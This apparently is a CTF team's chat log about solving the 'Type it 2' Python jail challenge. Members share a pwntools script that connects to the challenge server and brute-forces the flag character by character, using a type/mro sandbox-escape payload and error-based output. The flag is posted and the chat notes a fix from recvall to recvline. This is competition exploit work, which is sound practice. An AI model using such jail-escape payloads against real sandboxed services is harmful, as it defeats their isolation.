Project Sekai - ✅-jail-type-it-2

Type it 2 - 500 points

Category: Jail Description: > Show me what can you type to read me, but this time you'll need fancier payloads Author : Raouf/0x13A0F Files:

https://ctf.gdgalgiers.com/files/2073ade2ae45c8e05d7ac39e9c4c2f40/jail.py?token=eyJ1c2VyX2lkIjo0MzksInRlYW1faWQiOjE3NSwiZmlsZV9pZCI6OTZ9.Y0G66A.xQ-rlEk9t6sKyEnYmPREfZvQOU4

Tags: python, jail

Sutx pinned a message to this channel. 10/08/2022 11:01 AM

@crazyman ai wants to collaborate

11:05

@TheBadGod wants to collaborate

can someone run the same payload as for 1? might work, currently quite busy

i will did it

11:11

@TheBadGod

11:11

oooh its in a while true

11:14

meaning we could instead of making a new connection just connect once and repeat queries

it's so slow

yeah you could speed it up by making the queries over the same connection

11:14

and adjusting the result parsing

hmmm let me see

11:20

why it stuck on Error

11:22

@sahuang can u help me on it

11:22

from pwn import *
from string import printable
from time import sleep

r = remote("jail.chal.ctf.gdgalgiers.com", 1304)

context.log_level="debug"

chars = printable.encode()
flag = list(b"CyberErudites{")

for i in range(len(flag), 100): # flag length
    for guess in chars: # all possible chars
        print("guess: ", bytes(flag), chr(guess))
        payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
        #r = process(["python", "./chal.py"])
        r.sendlineafter(b"Input", payload.encode())
        output = r.recvall()

        if b"Error" not in output:
            flag.append(guess)
            print("new char: ", bytes(flag))
            break

i will check, on crypto now

ok i will do it

12:01

CyberErudites{ERRRROR_B4$E3_FTW!!!!}

TheBadGod

used /ctf solve

✅ Challenge solved.

from pwn import *
from string import printable
from time import sleep

chars = printable.encode()
flag = list(b"CyberErudites{")

r = remote("jail.chal.ctf.gdgalgiers.com", 1304)

for i in range(len(flag), len(flag)+100): # flag length
    for guess in chars: # all possible chars
        print("guess: ", bytes(flag), chr(guess))
        payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
        
        #r = process(["python", "./chal.py"])
        r.sendlineafter(b"Input", payload.encode())
        output = r.recvline()
        print(output)
        if b"Error" not in output:
            flag.append(guess)
            print("new char: ", bytes(flag))
            break

12:02

recvall should be recvline, then it just works

cool